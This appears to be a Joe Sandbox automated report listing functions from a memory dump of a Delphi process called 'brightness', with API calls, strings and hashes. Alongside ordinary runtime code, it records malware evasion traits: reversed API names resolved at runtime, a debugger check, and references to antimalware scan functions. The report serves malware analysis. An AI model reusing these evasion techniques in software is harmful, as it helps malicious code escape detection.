Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: Message
String ID: $ bytes: $7$An unexpected memory leak has occurred. $String$The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak$Unknown
API String ID: 2030045667-32948583
Opcode ID: 157d6c0d23c46f5a30efb0928392508643ea32d1196ec544b1c6385447aaa736
Instruction ID: ac39043349bf1261966d26e7b6d4f379741b5dc27eeb0098eca5bce4f5523dc2
Opcode Fuzzy Hash: 157d6c0d23c46f5a30efb0928392508643ea32d1196ec544b1c6385447aaa736
Instruction Fuzzy Hash: 78A1D330A052688BDF23AA2CCC88BD9B6E5EF09354F1441E5ED49AB287CF7589C5CF51

Function 027B252E Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 188COMMON

Download Yara Rule

Strings

, xrefs: 027B2814
Unexpected Memory Leak, xrefs: 027B28C0
The sizes of unexpected leaked medium and large blocks are: , xrefs: 027B2849
An unexpected memory leak has occurred. , xrefs: 027B2690
The unexpected small block leaks are:, xrefs: 027B2707
7, xrefs: 027B26A1
bytes: , xrefs: 027B275D

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID:
String ID: $ bytes: $7$An unexpected memory leak has occurred. $The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak
API String ID: 0-2723507874
Opcode ID: 873041493bad0c02da599a51ac789f7dd62a4e4792e13a61ea065e4aabac08cf
Instruction ID: a2537aa936eb1c713f5d0cd7c9078b870290978a2bb8429592012f6cde8028fb
Opcode Fuzzy Hash: 873041493bad0c02da599a51ac789f7dd62a4e4792e13a61ea065e4aabac08cf
Instruction Fuzzy Hash: 4471A230A052988FDF23AA2CCC88BD9BAE5EF09744F1041E5D949EB286DB7549C5CF51

Function 027BBD40 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,027BC00B,?,?,00000000,00000000), ref: 027BBD76

Part of subcall function 027BA744: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 027BA762

Strings

:mm, xrefs: 027BBFA9
mmmm d, yyyy, xrefs: 027BBE72
:mm:ss, xrefs: 027BBFC6
AMPM, xrefs: 027BBF8A
m/d/yy, xrefs: 027BBE45
AMPM , xrefs: 027BBF99

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: Locale$InfoThread
String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
API String ID: 4232894706-2493093252
Opcode ID: b959efed5059926c61ff7bdee8ecd6aedc05ba36c45d4b44a6447f5b446a1a84
Instruction ID: b5a075319af5ca658edf366cfff6ac3a00c71e1c78563765c88cf4323824d516
Opcode Fuzzy Hash: b959efed5059926c61ff7bdee8ecd6aedc05ba36c45d4b44a6447f5b446a1a84
Instruction Fuzzy Hash: 45613F39B041499FDB03FBA4DC68BDFB7BB9F88300F109439A6019B785DA35D9059B64

Function 027CAE18 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 102COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000004), ref: 027CAE38
GetModuleHandleW.KERNEL32(KernelBase,LoadLibraryExA,?,00000004,?,00000014), ref: 027CAE4F
IsBadReadPtr.KERNEL32(?,00000004), ref: 027CAEE3
IsBadReadPtr.KERNEL32(?,00000002), ref: 027CAEEF
IsBadReadPtr.KERNEL32(?,00000014), ref: 027CAF03

Strings

LoadLibraryExA, xrefs: 027CAE45
KernelBase, xrefs: 027CAE4A

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: Read$HandleModule
String ID: KernelBase$LoadLibraryExA
API String ID: 2226866862-113032527
Opcode ID: 0d0ce0ec0d763cc8ff08f2d1832294e21bb331bf7483512a181434e11ef26bf1
Instruction ID: 6c9bb2b03a8ec4bb815c81fb9bd2b16cdce6652755f9f097ee5424d088a3eb7b
Opcode Fuzzy Hash: 0d0ce0ec0d763cc8ff08f2d1832294e21bb331bf7483512a181434e11ef26bf1
Instruction Fuzzy Hash: 783142F1A40309BBDB11DF78CC89F9A77A8AF05769F20451CEA55AB2C0D770E940CBA1

Function 027B432C Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38filewindowCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,?,00000000,?,027B43F3,?,?,028117C8,?,?,027DE7A8,027B655D,027DD30D), ref: 027B4365
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,027B43F3,?,?,028117C8,?,?,027DE7A8,027B655D,027DD30D), ref: 027B436B
GetStdHandle.KERNEL32(000000F5,027B43B4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,027B43F3,?,?,028117C8), ref: 027B4380
WriteFile.KERNEL32(00000000,000000F5,027B43B4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,027B43F3,?,?), ref: 027B4386
MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 027B43A4

Strings

Error, xrefs: 027B4398
Runtime error at 00000000, xrefs: 027B435E, 027B439D

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: FileHandleWrite$Message
String ID: Error$Runtime error at 00000000
API String ID: 1570097196-2970929446
Opcode ID: 570cf18b454995dcd94e95e550e0b2ced480df24e28a6e50334e4203c6760fa8
Instruction ID: a046856330f6e42826435f6d897e96a5dde4e7ecf16c899fe36e359072a9e353
Opcode Fuzzy Hash: 570cf18b454995dcd94e95e550e0b2ced480df24e28a6e50334e4203c6760fa8
Instruction Fuzzy Hash: 3BF02BE9AC030479F663A2606C79FD93B2C0F14F20F548A04F334B90C58BA050C48725

Function 027BAE44 Relevance: 10.6, APIs: 7, Instructions: 56filewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 027BACBC: VirtualQuery.KERNEL32(?,?,0000001C), ref: 027BACD9
Part of subcall function 027BACBC: GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 027BACFD
Part of subcall function 027BACBC: GetModuleFileNameA.KERNEL32(027B0000,?,00000105), ref: 027BAD18
Part of subcall function 027BACBC: LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 027BADAE

CharToOemA.USER32(?,?), ref: 027BAE7B
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,?,?), ref: 027BAE98
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,?,?), ref: 027BAE9E
GetStdHandle.KERNEL32(000000F4,027BAF08,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 027BAEB3
WriteFile.KERNEL32(00000000,000000F4,027BAF08,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 027BAEB9
LoadStringA.USER32(00000000,0000FFEA,?,00000040), ref: 027BAEDB
MessageBoxA.USER32(00000000,?,?,00002010), ref: 027BAEF1

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: File$HandleLoadModuleNameStringWrite$CharMessageQueryVirtual
String ID:
API String ID: 185507032-0
Opcode ID: 88d02b8fd42cd6e4e5352f058b6200d7a6cde75b5e6a228ff718e04ac43e3d69
Instruction ID: 576061c13ba665a479a15a5a62ab45ac3a8958c779a4808c27be8a8c70f4b804
Opcode Fuzzy Hash: 88d02b8fd42cd6e4e5352f058b6200d7a6cde75b5e6a228ff718e04ac43e3d69
Instruction Fuzzy Hash: 10117CB6948205BED303FBA4CC89FDB77EEAF45300F400929B754D60E0DA70E9448B66

Function 027BE50C Relevance: 9.1, APIs: 6, Instructions: 139COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 027BE5A5
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 027BE5C1
SafeArrayCreate.OLEAUT32(0000000C,?,?), ref: 027BE5FA
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 027BE677
SafeArrayPtrOfIndex.OLEAUT32(00000000,?,?), ref: 027BE690
VariantCopy.OLEAUT32(?,00000000), ref: 027BE6C5

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: ArraySafe$BoundIndex$CopyCreateVariant
String ID:
API String ID: 351091851-0
Opcode ID: a9a696700a5c398af6b49de9a61da99d4f96f00f59c5a2cf8b5ab96da2f16d4b
Instruction ID: 4c8d7b4b68f93dbc432b9af9b88e4f8263cc8a568acda10edcd41f3aa872fcec
Opcode Fuzzy Hash: a9a696700a5c398af6b49de9a61da99d4f96f00f59c5a2cf8b5ab96da2f16d4b
Instruction Fuzzy Hash: 3251C375A0062D9BCB23DB68CC98BD9B3BDAF4D304F4441E5E609A7301DA30AF858F60

Function 027B3568 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 027B358A
RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,027B35D9,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 027B35BD
RegCloseKey.ADVAPI32(?,027B35E0,00000000,?,00000004,00000000,027B35D9,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 027B35D3

Strings

SOFTWARE\Borland\Delphi\RTL, xrefs: 027B3580
FPUMaskValue, xrefs: 027B35B4

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
API String ID: 3677997916-4173385793
Opcode ID: e578831ae2ff913daa70c995d1c92caeebf2ca00b97158658a8c147512868ef5
Instruction ID: 3b2342248b1fba46a7155d628da6ca4f998e41317205c7c3bd690dd332ab7d63
Opcode Fuzzy Hash: e578831ae2ff913daa70c995d1c92caeebf2ca00b97158658a8c147512868ef5
Instruction Fuzzy Hash: 7B01F5B5E40218BAE713DBA09C02BFE77FCDF08700F6005A1BA04D6580E674A650CA68

Function 027C80C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 44libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,027C8148,?,?,00000000,00000000,?,027C8061,00000000,KernelBASE,00000000,00000000,027C8088), ref: 027C810D
GetProcAddress.KERNEL32(00000000,Kernel32), ref: 027C8113
GetProcAddress.KERNEL32(?,?), ref: 027C8125

Strings

Kernel32, xrefs: 027C8108
sserddAcorPteG, xrefs: 027C80DB

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: Kernel32$sserddAcorPteG
API String ID: 667068680-1372893251
Opcode ID: 75e638e3d50de05996a27b57333abb445c96e9cb1e3975547385163786482340
Instruction ID: 4b8148d5667af2fbc2cbf1e299667464dacfe1c47d06bbbb99a79c23ca2f1fce
Opcode Fuzzy Hash: 75e638e3d50de05996a27b57333abb445c96e9cb1e3975547385163786482340
Instruction Fuzzy Hash: 78014478A40308AFE717EBB4D865B9E77EEEF49710F51446CE500D7750D670A9108B11

Function 027BA9D0 Relevance: 7.6, APIs: 5, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,027BAA67,?,?,00000000), ref: 027BA9E8

Part of subcall function 027BA744: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 027BA762

GetThreadLocale.KERNEL32(00000000,00000004,00000000,027BAA67,?,?,00000000), ref: 027BAA18
EnumCalendarInfoA.KERNEL32(Function_0000A91C,00000000,00000000,00000004), ref: 027BAA23
GetThreadLocale.KERNEL32(00000000,00000003,00000000,027BAA67,?,?,00000000), ref: 027BAA41
EnumCalendarInfoA.KERNEL32(Function_0000A958,00000000,00000000,00000003), ref: 027BAA4C

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: Locale$InfoThread$CalendarEnum
String ID:
API String ID: 4102113445-0
Opcode ID: 564328fc7df54de99ca6cb2456252592452f2853e91a682962ca2a3f76424f12
Instruction ID: b834348513bca019b1251e73aba89309fb153f48af6af666afb2907f8da4fbf4
Opcode Fuzzy Hash: 564328fc7df54de99ca6cb2456252592452f2853e91a682962ca2a3f76424f12
Instruction Fuzzy Hash: 7A01F2756402586BF703BA788D26BEE775DDF4B724FA10120F610E6AC4DA649E004A78

Function 027BAA80 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,027BAC50,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 027BAAAF

Part of subcall function 027BA744: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 027BA762

Strings

yyyy, xrefs: 027BABA5
ggg, xrefs: 027BAB95
eeee, xrefs: 027BABBE

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: Locale$InfoThread
String ID: eeee$ggg$yyyy
API String ID: 4232894706-1253427255
Opcode ID: 8aaaa9463fb1f7724fabdff3082ad2239fc1caf5697e65a67c2963e7106fe22a
Instruction ID: 45d01fce6288ff132a859b52d81b9806c57ff255324a9e4e16b79ef837d17a09
Opcode Fuzzy Hash: 8aaaa9463fb1f7724fabdff3082ad2239fc1caf5697e65a67c2963e7106fe22a
Instruction Fuzzy Hash: 8641E07070421A4BD713BB7888A87FFB3EBDF86300B644526D462D7746EA38DD06CA25

Function 027C8018 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,027C8088,?,?,00000000,?,027C79FE,ntdll,00000000,00000000,027C7A43,?,?,00000000), ref: 027C8056

Part of subcall function 027C80C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,027C8148,?,?,00000000,00000000,?,027C8061,00000000,KernelBASE,00000000,00000000,027C8088), ref: 027C810D
Part of subcall function 027C80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 027C8113
Part of subcall function 027C80C0: GetProcAddress.KERNEL32(?,?), ref: 027C8125

GetModuleHandleA.KERNELBASE(?), ref: 027C806A

Strings

AeldnaHeludoMteG, xrefs: 027C8031
KernelBASE, xrefs: 027C8051

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: HandleModule$AddressProc
String ID: AeldnaHeludoMteG$KernelBASE
API String ID: 1883125708-1952140341
Opcode ID: c607ac25bfde815a084bbfbdbb4cb8a892fd4c19d9520fbdc62e707d8095ed09
Instruction ID: 142dcae0e049d2cc560eeedc7bc31212b2e22fd6dca43480acc15c6983863e8a
Opcode Fuzzy Hash: c607ac25bfde815a084bbfbdbb4cb8a892fd4c19d9520fbdc62e707d8095ed09
Instruction Fuzzy Hash: D2F09674640314AFE703EFB4DC65A9EB7ADFF49710B610528F900D3650D670AD509A22

Function 027CEFC8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KernelBase,?,027CF3CC,UacInitialize,0281237C,027DB40C,UacScan,0281237C,027DB40C,ScanBuffer,0281237C,027DB40C,OpenSession,0281237C,027DB40C,ScanString), ref: 027CEFCE
GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 027CEFE0

Strings

KernelBase, xrefs: 027CEFC9
IsDebuggerPresent, xrefs: 027CEFDA

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsDebuggerPresent$KernelBase
API String ID: 1646373207-2367923768
Opcode ID: a9d03487e6341f907b52b9b8cb7337fb9049f4b129cd7204c677be7c12ae0eba
Instruction ID: 9c21aa25a07eb67f6b9e3dee924ce448be8f3d6a2140eb62e8d2c8b4f7eaa8f5
Opcode Fuzzy Hash: a9d03487e6341f907b52b9b8cb7337fb9049f4b129cd7204c677be7c12ae0eba
Instruction Fuzzy Hash: 3CD012A27557601EB50136F81CC895D028D894663D7300E2DF122D50D2E567C8512110

Function 027BC3F4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,027DD10B,00000000,027DD11E), ref: 027BC3FA
GetProcAddress.KERNEL32(00000000,GetDiskFreeSpaceExA), ref: 027BC40B

Strings

GetDiskFreeSpaceExA, xrefs: 027BC405
kernel32.dll, xrefs: 027BC3F5

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetDiskFreeSpaceExA$kernel32.dll
API String ID: 1646373207-3712701948
Opcode ID: 3c937c09e3e8f17baea6f5fd717bc698a70bead2e56cac33512904a7e68ac521
Instruction ID: a0c5c6822c9847e1b9f43f61410e938cc008f42121b2b29a909c356647d2816e
Opcode Fuzzy Hash: 3c937c09e3e8f17baea6f5fd717bc698a70bead2e56cac33512904a7e68ac521
Instruction Fuzzy Hash: BFD09EA1E813015FF7036BB1688A7B62EA99F45349B40E83EE1419D101D77195144F54

Function 027BE168 Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 027BE217
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 027BE233
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 027BE2AA
VariantClear.OLEAUT32(?), ref: 027BE2D3

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: ArraySafe$Bound$ClearIndexVariant
String ID:
API String ID: 920484758-0
Opcode ID: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
Instruction ID: 09c4935b86d01c1986e1900d8d1edb1cd8da489e6c6b30533e7d31530bface43
Opcode Fuzzy Hash: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
Instruction Fuzzy Hash: 3341D575A0162D9FCB63DB58CC98BDAB3BDAF49214F4041E5E649E7311DA34AF808F60

Function 027BACBC Relevance: 6.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 027BACD9
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 027BACFD
GetModuleFileNameA.KERNEL32(027B0000,?,00000105), ref: 027BAD18
LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 027BADAE

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: 8e9983873a571d168fe2e7bb29e6666cb9600419f03b261459e9c0e1b586ec6b
